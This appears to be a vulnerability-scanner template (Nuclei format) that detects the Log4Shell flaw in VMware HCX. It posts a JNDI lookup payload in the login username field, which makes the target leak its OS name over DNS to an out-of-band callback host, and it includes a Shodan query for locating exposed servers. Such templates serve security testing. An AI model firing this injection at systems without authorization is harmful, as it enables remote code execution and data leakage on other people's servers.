id: vmware-hcx-log4j info: name: VMware HCX - Remote Code Execution (Apache Log4j) author: pussycat0x,DhiyaneshDK severity: critical reference: - https://www.vmware.com/security/advisories/VMSA-2021-0028.html - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 metadata: verified: true shodan-query: title:"VMware HCX" tags: cve,cve2021,rce,jndi,log4j,vmware requests: - raw: - | POST /hybridity/api/sessions HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Origin: {{BaseURL}} { "authType": "password", "username": "${jndi:ldap://${sys:os.name}.{{interactsh-url}}}", "password": "admin" } matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex part: interactsh_request group: 1 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output